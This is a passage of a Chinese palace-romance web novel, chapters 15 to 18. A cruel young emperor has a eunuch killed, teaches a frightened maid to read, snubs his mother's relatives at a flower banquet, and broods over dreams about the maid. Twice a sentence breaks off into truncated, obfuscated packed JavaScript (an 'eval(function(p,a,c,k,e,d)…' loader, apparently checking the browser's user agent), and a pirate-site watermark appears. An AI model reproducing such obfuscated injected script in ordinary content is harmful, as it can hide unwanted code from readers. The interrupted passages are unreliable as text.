妙珠没因这话羞恼,她嘴角扯起了一个笑,鼓起勇气道:“陛下不喜欢他,莫不如就让他回司礼监吧。” 陈怀衡笑了一声,拿起汤匙,汤匙碰撞汤盅,偶尔之间发出清脆的声响,在此刻格外明显。 他道:“行,你说的,朕看如此尽心,那就全你一回心,让人回去找他的好大珰去吧。” 妙珠以为陈怀衡竟是真的发了善心,刚想谢恩,却见那小内监情绪激动,哭喊了起来。 方才陈怀衡说要杀他,倒还不见他这般,让他回去,反倒哭得厉害。 “陛下,奴婢不回去了!掌印既让奴婢服侍陛下,那断没有再回去的道理了!奴婢死也是陛下的人啊......” 若是被黄坚白知道他被陈怀衡赶走了,他到时候只怕是要将怒气全都撒到了他的身上,只怕是要比死都还可怕。 妙珠没想到竟会这样。 她以为,若是回去司礼监便是好事,就像是她,若是她回去司衣司的话,她一定很高兴。 可是,不是所有的人都是裴嬷嬷。 陈怀衡不为所动,道:“那没办法了,有人为你求情了。” 妙珠意识到自己犯了错,她马上跪了下来,道:“陛下,奴婢错了......错了。” 她不该多嘴的。 陈怀衡没有用手中那碗汤羹的意思,只是用汤匙不断翻弄着,他叹了口气道:“哎,妙珠啊。你知道吗,他来是想顶替你的位置,你们两个人只能活一个啊。” 他说到了这里,竟是笑了,放下了手上的汤匙,而后侧身看向了妙珠,他问:“你不想让他死,那你想死吗?” 15. 第十五章 根本就不是这样的。 他和她为什么就非要二选一呢? 然而陈怀衡给了她这个选择,好似她若是想活着,就必须要去杀掉另外一个人。 好似她的活,是他给她的天大恩赐。 妙珠隐隐察觉到了事情的不对劲之处,然而,却寻不到任何能去和陈怀衡辩驳的话。 妙珠只是摇头。 “不想死,奴婢不想死啊。” 陈怀衡满意她的诚实,满意她的回答,满意她的识时务。 “去吧。” 那就让他去死吧。 陈怀衡营造出的恐怖氛围,让妙珠觉得,自己好像就是那个亲手杀了小太监的人。 妙珠不敢看那个哭泣的小太监,步履匆匆路过了他,往外快速走去,她对外面的侍卫说:“里面有个小太监,惹了陛下生气,陛下说要杀了他。” 对,是陈怀衡说要杀了他的。 不是她。 不是她。 侍卫看妙珠神色不对,也没说些什么,得了吩咐便进去将那个小内监拖了出去。 妙珠就那样眼睁睁看着他从眼前被人拖走。 小内监看着她,她看着小内监。 小内监眼中含着泪,她的眼中也含着泪。 妙珠回了殿内,陈怀衡看出她的魂不守舍,他也知道她在为什么而魂不守舍。 陈怀衡已经将汤盅推到了一边,看起了手头的奏章,他道:“怕自己也会死?” 他没看她,可妙珠知道他是在同自己说话。 他突如其来的话,叫妙珠不知如何作答,到了最后,却也只是“嗯”了一声。 陈怀衡或许永远不会明白她的不安与惊惧。 为什么要为不曾发生的事情担忧至此呢? 他放下了奏章,抬眸看向妙珠,他道:“过来。” 妙珠乖顺地走到了他的身边,他看着是有话想说,那便总不好叫他仰头来看她,这点眼力见妙珠还是有的,所以,她跪倒在了他的脚边。 陈怀衡似没想到她今日还这般机灵,他呵笑了一声。 他这人不常笑,那张脸也因着冷冽叫人常常不敢直视,他若是笑了,那多半是在讥讽,可如今妙珠难得没从他的笑声中听到讽刺。 本来开了那么久的会议,又出了黄坚白那桩糟心事,陈怀衡的心情是不大好的。 不过看到这蠢笨的小宫女今日难得上道,陈怀衡心情不错,竟还难得笑出了声。 她就那样跪倚在他的腿边,他俯视着她,两人分明隔着一个身位的距离,陈怀衡竟觉那张脸近在咫尺。 陈怀衡伸出手,抬起了她的下颌,让她的脸更加清晰了一些。 妙珠见他抬手,下意识想躲,但怕惹恼了他,硬生生才忍住了。 陈怀衡满意她的顺从,他道:“别怕。你是朕的人,好生服侍着,朕又要你的命做什么呢?” 他倒还没见过比她舒心一点的人呢。 他怎么能这么快就要她的命。 陈怀衡还记得在那次寿宁宫见到妙珠的情境。 所有人都不敢动,唯独这个不老实的小宫女要偷偷去擦眼睛。他那个时候以为她是个不老实的人,可看清了她的相貌之后,又觉她大抵是最老实的人了。 二十四个人里头,独独她一眼就引起了他的心绪,那自然就要挑她了。 只是她日日在他面前这般惶恐,这也不是个事啊。 所以,他对她说。 别怕,朕要你的命能做什么呢。 妙珠被迫仰着脖颈,看着陈怀衡,他的声音带着素日不可见的柔顺,然而,那双眼也仍旧是那样没有情绪。 妙珠听着他的话,脊背仍旧绷得直直的,没有放松。 帝王随口许下的承诺,那是不大靠谱的,她有没有好好服侍,还不是全凭他说了算吗?哪天若是不小心惹恼了他,他马上就能要了她的命的。 可她也还是什么都不曾说,只是乖顺地“嗯”了一声。 她顺着陈怀衡的话说:“奴婢会好好服侍陛下,奴婢不怕。” 陈怀衡终于松开了手,妙珠悄无声息地松了口气,本以为是没事了,却又听他问道:“识字吗?” 妙珠道:“认得一点点。” 那些字自然不是在家里头认的,是跟裴嬷嬷进了宫以后学的。 裴嬷嬷她是十五岁就进的宫,十五岁前她也是不认字的,那字是在宫里头后来学的,嬷嬷是个上进的人,又碰上了贵人相助,所以后来也才能一步步走到如今。 嬷嬷认得些字,以前也教过妙珠和翠梅,翠梅嫌认字难,学了两天就不肯学了,嬷嬷气得打她手板,还是没用,翠梅不学了,嬷嬷便教妙珠一个人。 妙珠认得的字不大多,寻常一些简单的是看得明白的,可若是难了,便不认识了。 陈怀衡不知道妙珠口中的“认得一点点”是多少。 他随手拿了一本案上的奏章,递到了妙珠面前。 他问:“自己看,这上面说了什么?” 妙珠没想到他竟直接叫她看了奏折,看到他递来的东西,妙珠不敢接。 她道:“陛下,这不合规矩。” “朕让你看便看。” 婢女是不能碰这些东西的,这不合规矩,可是显然在乾清宫之中,陈怀衡他就是最大的规矩。 妙珠不敢再推脱下去,接下了他递过来的奏章,开始看了起来。 她跪在陈怀衡的腿边,看得神色认真,捧着奏折眉头拧着,看得入神,腰都不知道是什么时候塌了下去,脑子里头想着别的事情,甚至都忘记了陈怀衡在旁边看着她。 这奏章不大长,妙珠认得一些简单的字,可是有一些复杂的词句,便是看明白了字,却也认不出意来,一些复杂的字,干脆是连认都认不出了。 不过勉强还是看明白了这奏折是在说些什么。 她抬眼看向陈怀衡,就那样直直地撞入了他那深邃幽微的眼,妙珠抿唇,下意识想躲避,可又想起陈怀衡或许不喜,便还是那样怯生生地看着他。 她一边看他,一边试探说道:“这奏折好像是在跟陛下控诉李家二公子的罪行,李家二公子抢了这大人家里的猫。” 陈怀衡抽过了她手上的折子,上下扫了一眼,发现说的确实是这事不错。 只不过李家二公子显然是把那大人给气坏了,他引经据典、旁征博引来痛斥着二公子的罪行。 那些字妙珠应当就不认得了,就算是认得也不知道是什么意思了。陈怀衡喊她起身,指了几个字给妙珠认,又指了几句话问她是何意,皆一窍不通。 那他大概知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人不再说这事,既然陈怀衡让她教妙珠认字,那她也不耽搁,打算一会就拿了纸笔来教她。 妙珠跟着卿云学了好几日的字,这日约莫到了九月中旬,卿云正教着妙珠认字,忽说起了另外一桩事。 陈怀衡正在歇着中觉,有其余的宫女侍在身侧,妙珠在卿云的房中,两人坐在桌前,午后的阳光打在两人身上,十分柔和。 她道:“娘娘们打算让陛下选妃了。” 妙珠问道:“是哪个娘娘?” 太后娘娘还是太皇太后娘娘。 “陛下已经到年岁了,太后娘娘和太皇太后娘娘都很着急,有意开设大选,只是这事陛下不急,提过几回都没应下。大选那边陛下不松口,太后娘娘就想着先办个赏花宴,叫朝中适龄贵女进宫看上一番,这些日子帖子都送出去了呢。” 妙珠道:“陛下知道?” 卿云道:“陛下既无意开设大选,但赏花宴还是要给娘娘一个面子去参加的,就当是赏赏花,那也是不打紧的。” 妙珠有些好奇道:“可是陛下为何还不择妃呢?” 若是不择妃的话,要一直被娘娘们催促,到了后面,大臣或许也要开始为这种国家大事操心,左右是要成婚的,有何好拖延呢。 说起这事来,卿云叹了口气,她道:“谁知道呢,或许......陛下心里头也还是挂念着施家的那小姐,只可惜施小姐身子骨不大好,京城不宜她养病,她便去了外头,这都快两年了也一直没有回来。” 妙珠似乎是嗅到了一股不寻常的气息,她问道:“姐姐说的施小姐是谁?竟叫陛下念念不忘至今。” 16. 第十六章 卿云睨她一眼,戳了戳她的脑袋,打趣道:“还寻上陛下的乐子了,叫他晓得,怕是又要罚你。” 妙珠乐呵呵的,还想再问下去,却听外头有人来唤她,说是陈怀衡已经醒了,她该过去了。 陈怀衡既已经醒过来了,她再好奇也是不能够的。 没再说下去,跑了出去。 卿云看着妙珠离开的背影,又看了看那张尚未干涸字迹的纸,末了只是长长地叹出了口气。 哎,是个没心没肺的。 妙珠很快就寻了陈怀衡,陈怀衡已经从榻上坐了起来,还没起身。 他刚起的身,瞧着仍旧有些睡眼惺忪,没缓过神来。 只有在这样的时候,他周身那惧人的气势才终于弱了一些下来,不曾如平日那般迫人,身上没穿着龙袍,只着一身玄黑织金圆领锦服,因着短暂的休息,也不曾脱下。 妙珠不禁想到了方才卿云说的话,她看着陈怀衡,心中却止不住好奇,他这样的人竟也会喜欢姑娘,那姑娘岂不是要被吓跑了吗? 不敢去多想,她到了他的跟前,半跪着为他穿上鞋履,待差不多穿好了之后,陈怀衡的声音忽然从头顶传来。 “方才是在习字?” “嗯,正习一会,陛下就醒了。” 她又要侍奉着他,又要去寻卿云习字,卿云也很忙的,要管着乾清宫大大小小的事,她这样一来,倒还连着卿云休憩的的时间都给占了。 这不,方才还没来得及习多久,又要奔过来寻陈怀衡了。 陈怀衡也听出了她的言下之意。 他罕见没有嘲弄,嘲她挑三拣四,有得学就不错了,还挑来挑去的。他起身走到了一侧的博古架前,随手从上面挑了本《论语》下来。 他丢给了身后的妙珠,道:“自己坐一边学去,不认识的圈出来,到时候一并来问朕。” 妙珠被陈怀衡这样的举动惊住,他教她吗? 她有命学吗..... 到时候别教恼了,要来打她。 陈怀衡扫她一眼,似在说,朕教你还不乐意? 妙珠没敢再说,马上捧着书道:“谢陛下恩典。” 妙珠为陈怀衡磨好了墨,又奉上了朱笔,而后自己也听他的话拿了支笔坐去了窗边,那里有套紫檀木制成的桌椅,妙珠听他的话,安静坐下看了书。 之乎者也对妙珠来说便有些难了,圣人的大道理读进了她的脑子里面混成了一塌糊涂,便是有幸一句话认全了字,可其中深意却又不解,她看着手上的物件,又觉自己是在暴殄天物。 这书在文人的手上是好东西,在她手上,就被糟践了。 陈怀衡让她将不认识的字圈出来,她却踟蹰着不敢下笔。 不远处传来了陈怀衡的声音:“圈就是了,到处都能寻得的书,又不是孤本。” 妙珠看向他,见他也没往自己这边看。 不过听他那般说后,也不曾多想,总算是敢下了笔。 秋日的午后,暖融融的,阳光这物大概是天神平等的施舍给凡人的惠泽,所有的人都可以平等地享受。妙珠坐在窗边,温柔的午后秋光让她想起了裴嬷嬷,以往的时候,她们两人就是这样坐在窗边,她教着她。 她捧着论语,却看也看不懂,或许是午后的阳光实在舒适,她受不住困乏,眼中的字竟就变得模糊了起来。 陈怀衡看倦了折子,抬头往窗边看了一眼妙珠,却不知她的脑袋是什么时候点到了桌案上去。 她看着是困得受不住了,丝毫没有意识就倒了下去。 陈怀衡望向窗边,细密的阳光争先恐后地从窗台爬了进来,眷顾地落在她那乌黑的发上,光影之下,那黑发竟如绸缎一般散着光芒。 他见妙珠睡了过去,竟也没有发脾气,反倒是起了身,走到了她的身边。 他看着她,看着那些落在她发梢的暖阳,她的眉宇似都被蒙上了一层柔光,闭合着的眼睛,眼睫纤长,垂落下了一片阴影。 她手上拿着的墨笔被搁到了书上,已将书页晕染得彻底,陈怀衡弯下腰看她,两张脸几乎快凑到了一起。 或许是天光正好,他借着光,头一次这样近距离清楚地看清了小宫女的脸。 陈怀衡伸出手指,往妙珠白嫩的脸上戳了一下。 妙珠感觉脸上痒痒的,下意识伸手去打,然而才刚打下去,她几乎也是在此刻就清醒了过来。 她睁开了眼,抬起头来,就发现了近在咫尺的陈怀衡。 那双眼睛在她眼中一如既往阴沉,她被骇了一跳,心好悬没从口中跳出。 他直起身,觉嗓间微哑,轻咳一声,冷声道:“朕让你来读书,你便是这样来读的?” 妙珠看了看桌上被墨晕脏了的书册,又看了看面前的陈怀衡,慌忙开口解释:“奴婢实在是......实在是太累了......” 再加上这东西实在是太难了,看不懂啊,越看不懂,脑袋越是发晕打转。 犯困便犯困,还叫陈怀衡抓了个正着。 陈怀衡看到她的侧脸蹭上了墨笔的痕迹,一小块痕迹,在她的脸上格外显眼。 她嘴巴里面断断续续解释着什么,他反倒是懒得听了。 陈怀衡没提醒她脸上的脏污,只是看着桌上的书道:“方才还舍不得打圈呢,现下就弄成了这般。” 妙珠看着桌上被墨笔晕染得不成样的书,后知后觉生出惶惑,方想说些什么,卿云就从外头进来了。 卿云见到妙珠坐在椅上,而陈怀衡站在一旁,错愕片刻,不过,也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太后连连叹气,满面愁容:“你皇祖母也为你担心,跟我提起了好些回这些事。” 太皇太后说,陈怀衡十四岁就已开始失.精,可见是早已长成了个男人了,可如今都四年过去了,不见其宠幸过哪个宫女,又或者是有选妃的迹象。 他是帝王,既有了生理需求,解决便是,年纪轻轻这般憋着,火气难道不大? 太后忽地想起了一年多前离开皇宫,离开了京城的女子,她眸中露出了几分惊骇,道:“莫不是在等着宁煦......” 妙珠没想到在此刻又听到了方才卿云未曾说完的八卦趣事,不禁侧耳凝神去听。 17、第十七章 然而,没想到太后的话还不曾说完就被陈怀衡截断。 “母后莫要妄言。” 听到这话,太后便噤了声。 若真是对那人念念不忘,她现在提起岂又不是在戳他肺管子吗,那也难怪不叫她提。 她道:“那赏花宴总归是要去的,这场局我也好不容易才攒起来的呢,见一见吧,不打紧。” 陈怀衡叫她说得头疼,知道今日不应下,往后几日也少不了她的念叨,他道:“那母亲便回吧,朕会抽空过去的。” 太后见他应下,忙不迭道:“对对,可千万要记得过来看看!” 目的达成,怕说烦了他,也不再待着,起身离去。 * 两日过后,很快就到了品茗赏花的日子了。 御花园中不同常处,万物凋零时节,寻常人家的花怕是早已凋谢委顿,可在此处,秋日的午后如同春日那般,正逢时令的花在此时争相斗艳,朱红的宫墙之下,朱红艳紫又或是沅芷澧兰遍布满园,坐于下首的那些贵女们瞧着却比满园的花还要艳丽一些。 繁花似锦,斗丽争妍。 陈怀衡大约还是不大想去,直到赏花宴开始之后,太后的人又来催了两番他才终于放下了手上的东西。 等他到了的时候,这御花园里头已经坐满了人。 大家都心知肚明今日这番赏花宴是何意。 太后组的局,又让陈怀衡过来露个面...... 无非是想选妃。 再说,皇帝确实是到了年纪。 皇帝平日不着龙袍之时,便习惯穿一身玄黑锦服,那身锦服由鞶带收束,更显肩宽腰窄,将人的身形拉得更加颀长。他尚未弱冠,未戴翼善帽时便简单地束起,墨发垂于身后,昳丽绝艳的脸在光下却带着不近人情的刻薄,萧萧肃肃又如檐上霜雪。 陈怀衡甫一出现,园子里头登时安静了下来。 有些人不曾见过陈怀衡,如今一见,才发现君王原来生得是这般模样。 对于任何人来说,这张脸都实在是太有冲击力了,竟是出乎意料得俊俏。 贵女们心思各异。 传言之中,帝王乖僻邪谬,生性恶劣,最受遭殃的还是身边服侍着的宫女,不过,他在政事上却又展现出了极高的才能,最为人称赞的就是两年前的那场北伐,那件事情快成了皇帝的“免死金牌”,只要他不做出什么天怒人怨的事情来,世人似对他能有无限的宽容。 如此相比之下,陈怀衡杀的那个几个宫女好像都不是什么大事了,毕竟为人君者,不拘小节。杀的不过是些再卑贱不过的人,又不是他们,有何可惧? 也不曾听说过陈怀衡无缘无故坑杀过什么大臣,别说皇帝了,就是他们那些府上的公子小姐,谁还没磋磨过几个丫鬟小厮,这样一想,便更不足为惧了。 再说,爱美之心人皆有之,他生此相貌,若是能入宫中为妃,那也是极好的。 太后见陈怀衡的到场,也总算是松了一口气,看到众人惊艳的眼神,心中也不免得意。 她的儿子就是哪里都出色。 只是性子不好了点而已,但那又有什么问题呢。 陈怀衡自然而然地坐到了那个空出的主座,受了众人的礼。 他来了之后这场宴席也如常行进着,太后主持着这处事宜,陈怀衡瞧着有些散漫,心不在焉的样子,眼眸一直低垂着,也不知是在想些什么。 无趣得很。 坐在这听他们说那些车轱辘话,倒还真不如回去看那小蠢货认字,那倒是比这事情有意思些许。 这样想着时,妙珠正好为他俯身添了一盏新茶。 他当是无聊至极了,面前的这盏茶用得出奇得快。 在陈怀衡身边跟了也都有一个月了,她这点眼力见倒还是有的,见他的茶盏空了,便马上为他又添了一杯。 才方为他添了茶,耳边就传来了他低沉的嗓音。 “这两日论语能读明白些了?” 妙珠听到他的声音,知他在同自己说话,抬眼见周遭没人看向这处,便也压着声回话:“能明白点,这两天卿云姐教奴婢了,字是能认得差不多了。” 就是那些话说的大道理还不曾领悟到。 妙珠觉得自己的脑子大抵也是随了母亲,有些痴傻。 小妹不是这样的,小妹就很聪明,小妹不像母亲,她倒是像,她和母亲都像是七魂出了一窍,笨得不行。 陈怀衡问她:“那些字切实不难,只意思可领悟了?” “没有......” “也是。”陈怀衡嗤她,“半部论语治天下,你若是领悟到了,也能做个人了。” 没嫌她笨,嫌她不是个人。 好吧。 陛下说什么就是什么。 她本来也就没人样。 两人说话的声音倒不曾传到旁人耳中,只是依稀能看得出他们是在窃窃私语着什么。 这幅场景落到了太后眼中,怎么看都不像话,这么多贵女坐在下头呢,他有什么话好去这宫女说的呢。 她轻咳一声,对着陈怀衡道:“陛下觉得思语那诗做的如何呢?” “什么?” 什么诗。 他哪里知道他们方才说了些什么。 合着方才都顾着和身边的小宫女说话去了。 孝端太后深吸了一口气,耐着性子解释道:“今日天气好,园子里头景色上佳,趁兴而发,做了几句诗,思语方说完呢。” 思语是陈怀衡的表妹,是陈怀衡母家李侍郎家的二小姐,今年十六岁,和他年岁相仿。 太后自然是想让母家的人进宫的,今日这场赏花宴她是有自己的私心的。 见方才陈怀衡没听清,她便重复了一遍李思语方才做的诗。 陈怀衡听后,没什么情绪地评道:“一般。” 李思语本还含着几分期待,听到陈怀衡的话后脸上表情瞬间僵住。 自从姑母成了太后,表兄登基之后,家中便对她竭力培养,为的也是将来能看在太后的面子进宫为妃。她也并非自夸,便是在京城中,也是时常有人称赞于她的,琴棋书画,她哪个不通?可怎么到了陈怀衡的嘴巴里头就成了一般呢? 况说,就当是自家表妹,也不该这样。 当真不是故意取笑她的吗。 周遭的小姐隐隐在讥笑她,这让李思语更挂不住面了。 太后见此,脸色也更不好看。 陈怀衡落李思语的面子,那就是落她的面子,落李家的面子。 她终于说出了自己的不满:“怎么就一般了呢?我听着倒觉着不错。” 陈怀衡看向妙珠道:“来,你来做一首。” 妙珠惶恐地指向自己:“奴......奴婢吗?” 妙珠听到陈怀衡让自己做诗,说话都开始结巴了。 她方才连那李家二小姐的诗是什么意思都没大听明白,她能做什么诗出来。 她疑心陈怀衡是存心让她丢脸来的,面色瞬间烧红一片。 陈怀衡瞥她一眼:“让你做,做就是了,畏缩什么。” 他难道不知道她肚子里面有多少墨吗,有点墨全沾脸上去了。 再说,有他在,那脸能叫她丢到哪里去。 妙珠听着陈怀衡的话,又见众人盯着她看,躲不过啊,还是只好开了口。 她看着满园的美景,最后才从口中憋出了两句话。 “红花黄花一朵朵,秋风起舞姑娘笑。” 什么对仗工整,平平仄仄,她一概不通,哎,没办法啊,陈怀衡突然要她来丢这个脸,她也只好硬着头皮去丢了。 她编了个小半天,编完了这句不成样的诗,果然听到其余人的讥笑声。她脸是真要丢完了,低着脑袋不敢抬头。 一片讥笑声中,陈怀衡却开口了。 他淡声道:“这诗不比方才那首好多了吗。” 陈怀衡这样说,众人便齐噤了声,不敢再笑。 他说话也实在是有失公允了些,这两人的诗有可比之处?后面那句连诗怕都算不上,同七岁小儿胡诌出来的打油诗不相上下。 然而,既他说后面的好,前面的一般,那没人敢去反驳他的。 诗好不好不重要,陈怀衡说谁好,便是谁好。 孝端太后算是彻底看出来了,自己儿子这是故意在和她作对呢。她说人倒是安生过来了赏花宴,原是在这处等着她。 他大概是不满她插手他的这些事情,寻了个机会就给她吃瓜落儿,明着夸他身边那小婢女,实际上还不是叫他们李家人难看。 她不明白了,他们分明是一家人,他就非得闹的这般难看。 太后第一回叫他气得厉害,又见底下的侄女快委屈的哭出来了,实没忍住想要说他几句。 “这宫女说的话平仄韵律一个不通,没有任何意趣,这也好?陛下莫不是在偏私。” 妙珠察觉到了太后的不满,更觉陈怀衡是在故意把她架在火上面烤,说混账话的分明是他,但倒霉的就是她了。 陈怀衡听了太后竟也没恼,反倒轻笑:“偏私?朕不偏私,难道还要为一个外人说话吗。” 外人? 他那母族的人,在他口中却是个外人,还不如他身边那个小宫女。 六亲缘浅,可他又何必刻薄至此! 气氛变得古怪,妙珠悄然抬眼去看,就见太后怨毒地看着她。 坏了,这是记恨上她了。 她自然是不会怪罪自己的亲儿子。 妙珠不敢再看,忙收回了视线。 不待太后继续发作,陈怀衡就已经起了身,待着妙珠离开了这处。 他给她面子来参加了,可她太过了,一来就想着把李家的人塞过来,那怪不了他了。 陈怀衡离开之后,御花园中彻底落入了一片死寂,只有秋风拂过,吹动花草树叶的声响,到底是没能继续下去,太后犯头疼了,被身边的嬷嬷搀扶着离开了这里。李思语深觉自己受了奇耻大辱,起身离开,奔走归家。 妙珠跟在陈怀衡的身后,离开了御花园,往乾清宫的方向回。 许是今日天气还算不错,陈怀衡回去的路上也不曾乘銮驾,妙珠跟在他的身后,一行人走着回去。 陈怀衡腿长步子也大,妙珠跟在他的身后都有些吃力。 秋日的皇宫带着一股莫名的萧索之气,空气之中弥漫了落叶的味道,吹着的风也变得凉薄,走在一眼望不到头的甬道之中,人的心也跟着空落落的。 走着走着,前面的帝王似乎有意放慢了自己的脚步。 “朕今年十八了,应当娶妻了,是吧?” 陈怀衡没头没尾来了这么一句,妙珠脑海之中很快就开始揣摩了起来他问这话的意图。 她道:“陛下正年轻,倒也不急。” 若是陈怀衡想要娶妻立后,那早该就立了,哪里还轮得着来问她呢?他这副模样,心里头说不定真是在等着什么人。 他大抵也是真的很为这件事苦恼,所以才会来问她,既问她了,妙珠自然得顺着他的话说。 陛下,你还年轻,不着急,你能慢慢等。 当然了,她也不能说得这般直白,不然会叫陈怀衡发现平日她在揣摩他的风流轶事,那又得挨罚了。 果不其然,说完这话后,陈怀衡没有发难,他只是反问道:“十八岁,还不急?”【你现在阅读的是魔蝎小说 moxiexs】 18、第十八章 陈怀衡现在仍旧记得,自己第一次梦遗发生在十四岁那年。 那是一个深秋的清晨,陈怀衡那晚上不知是做了些什么古怪的梦,他现在回想起来已经记不清了,只是那个梦之后,第二日起身时,身下便多了些不干不净的东西。 他那时候并不知道那是什么,从小到大,他的身边没有一个人能告诉他这些东西。 他没有亲近的人,自从十岁登基为帝之后,他的身边就没有亲近的人了。 最最开始的时候,本来还是有个小太监跟在他身边的,那是还在皇子时候就跟在身边的人,只是还没等陈怀衡长到他十四岁,就已经被太皇太后送走了。 她极厌太监,除了司礼监的人,就连其他的太监也不留。 小太监被送走之后,陈怀衡甚至都不知道他最后是死还是活。 不像是他的母亲孝端太后,弄点事情出来就容易人尽皆知,而太皇太后做事从来都不留痕迹,她做的那些事情,只要她不想让旁人知道,那旁人就很难能够知道。 小太监走后,他身边就只留下了一群照顾他日常生活起居的小宫女。 他问她们,他遗落在中裤的那些东西是什么。 小宫女们红着脸说,那是陛下的子孙后代。 子孙后代? 正也是在那几天,太皇太后为他择了个女官,为他讲授了关乎男女方面的事情。 陈怀衡对男女之事的最初始的认知,便是懵懵懂懂来自此处,再多一些的,就是后来北伐时候,底下一个比他大几岁的将军,那算是他后来的挚友,陈怀衡从那混不吝的将军那里知道了很多那方面的事。 不过,那都是后来的事。 只是自他第一次失.精之后,不过几日,他的龙床上,开始爬上了不着寸缕的宫女。 那年,他才十四岁。 然而,看着那躺在床上的宫女,他竟吐了出来,他就看了一眼那宫女,而后就那样吐得昏天黑地,床上的宫女都被陈怀衡这幅模样吓得瑟瑟作抖。 陈怀衡只要一想到他的床事到时候要被一字不落地说给他的皇祖母听,胸口就不可阻挡袭起了一阵阵的恶心。 他厌恶那裸露的宫女,厌恶皇祖母无处不在的眼睛。 后来太皇太后或许是觉皇帝年少,时机终是不成熟,便再没让人上过他的床了。 而到了陈怀衡北伐过后,也再没人敢不要命地去爬龙床了。 至今到了十八岁,他也仍旧未经人事。 而他的父皇,前一任帝王,早在十六岁的时候就已经生下了他的第一个孩子。 所以,十八岁了,还不急吗? 对于陈怀衡来说,娶妻立后什么,确实还不用着急,别人急不急的他管不着,总之他是不急。 只是,近些时日,他竟开始频繁做了那样的梦...... 或许是到了年纪? 应当是这样的。 十八年岁,正是血气方刚。 陈怀衡目光有些黯沉,看向了身侧的妙珠。 可是,为什么又是她呢? 接二连三,谁都不是,偏偏就是她。 身体这方面的事情不过是一些无关痛痒之事,他不明白的是,这个小宫女她卑微、低贱、蠢笨无知...... 可是,他怎么会在梦中翻来覆去的和她做那样的事呢。 这让陈怀衡极度的疑惑不解。 妙珠哪里知道陈怀衡心中在想些什么东西,她没有看到陈怀衡那满是侵略性的眼神,只想着怎么宽慰安抚着失意的帝王。 等不到的姑娘,叫他颇为烦心,陈怀衡看着是真的很为那事烦恼。 妙珠想到了什么,道:“陛下真的不着急,再等等也来得及,协王殿下二十一也尚不曾娶妻呢。” 别人二十一了都不着急呢,你才十八岁,更不用急了。 妙珠觉得自己说得很好,然而一抬眼就发现陈怀衡目光阴沉地看着她。 “你拿朕和他比什么?” 真瞎了眼了,和她说这些。 妙珠就像是个傻子一样什么都不知道,可是他在无形之中做了一次又一次那样的梦,这让陈怀衡更觉恼怒。 妙珠不知自己又是哪里说错了,不知道是怎么就又惹得陈怀衡生气了。 一开始分明都还是好好的,怎么一下子就气起来了呢? 难道是他和协王关系不好,所以协王殿下这四个字就连提也提不得吗。 妙珠不明白。 她下意识想要为自己辩解,陈怀衡却没给她这个机会,大步离开。 妙珠不再说了,只是跟在他的身后,他走得太快,她得小跑着才能跟上。 两人就这样一路没说话回了乾清宫中。 陈怀衡不知道是怎么地了,忽地就心情不好了起来,妙珠觉得他莫名其妙,想要躲远一些不被他的怒气殃及,却又怕他要骂自己偷懒,最后还是没敢躲出去,只是服侍在他身边的时候更小心一些。 陈怀衡一直沉着脸,瞧着不大爽利,但好在也没是故意发难。 妙珠没将陈怀衡的事放在心上,她都习惯他了。 她已经习惯他的阴晴不定。 高兴是他,不高兴也是他。 她嘛,受着就好了。 他对她好,她受着,对她不好,她也受着。 那些字也还是得继续学着,就怕哪日陈怀衡突如其来要抽查,若是一问三不知,就要被他逮到机会发作。 就这么安生过了几日。 陈怀衡自那日之后便不搭理妙珠了,也不知是还在生气又还是怎么了。 妙珠也没觉着自己做了太过分的事情,只当他那是因着自己的不痛快而迁怒于她。 他心中有人,可是又没办法娶她,这样一来,心中不痛快也是正常的。 除了这个原因,她也实在不知道陈怀衡是在不痛快什么了。 可妙珠也实在是受不住每日这样低沉的气压,给陈怀衡端了好些降火的羹汤,莲子百合羹,绿豆薏米羹等等,每日换着花样给陈怀衡喝,只盼他的火气早些消下去。 一连好几日下去,陈怀衡身上的郁气好像真的渐渐褪了下去,竟还开了恩,让妙珠回了司衣司一趟。 妙珠被他这突如其来的恩赐高兴昏了头,她问他:“陛下可是说真的?” 从前的时候他哪里发过这种善心。 陈怀衡只是淡淡地扫她一眼:“不想回?不想回也行......” 话还没说完,妙珠就抢着道:“想的,奴婢想的。” 就这样,妙珠又得了回去看裴嬷嬷的机会。 妙珠得了陈怀衡的令就高兴地往司衣司回,裴嬷嬷没想到她突然回来了,也惊了一跳,转瞬之间也是欢天喜地。 现下是九月二十五,离着上回中秋见她又过去了一个多月,妙珠又安生地过了一个多月。 两人没再站着,坐到了凳子上头去。 裴嬷嬷问她:“前些时日是你生辰,你自己在乾清宫可过了?长寿面可曾吃了?我想瞧你去的,可那边也实在是去不了......” 说着她又起身去柜子里面拿了根银簪出来,塞到妙珠的手掌心里:“也没机会瞧你,这簪子我早叫人打好了,想着寻机会给你,没想到你今日就回来了。” “长寿面吃了的。” 妙珠也没推脱,一边回了她的话,一边高高兴兴地收下了簪子,她道:“谢谢嬷嬷的簪子!” 其实乾清宫的吃食里面是没有长寿面的。 妙珠又不热衷过生辰,以往在司衣司,都是裴嬷嬷给她做的长寿面,裴嬷嬷在这方面迂腐,大抵是觉着吃了长寿面才能健康平安。 不想叫她多心,便撒了个谎。 裴嬷嬷见她高兴,也不住笑,她又问她:“这几日乾清宫倒还好吧,没出什么事吧?” 裴嬷嬷是在问,陈怀衡没有又处罚宫女吧。 妙珠道:“除了之前那个被砍了手的之外,又有一个挨了板子死了,还有一个是被拖出去打折了腿......” 就在前两天,大概是陈怀衡心情不好,又随便找了个借口处罚了人,直接让人把宫女的腿打断了,打断了就赶出去了。 然而,说到这里,妙珠想到了什么,忽地一顿。 陈怀衡怎么突然就发了善心呢,他压根就不是这样的人啊。 那些个太皇太后派来的人,该死的死也都死得差不多了,那他是不是也该对荣桃下手了。 妙珠想到了这里,猛地起了身,她对裴嬷嬷道:“嬷嬷,突然想起了有事,我先回去了。” 说罢,不待裴嬷嬷反应过来,就已经打开门跑了回去。 这才回来说了没两句话,怎么就忽地跑走了呢。 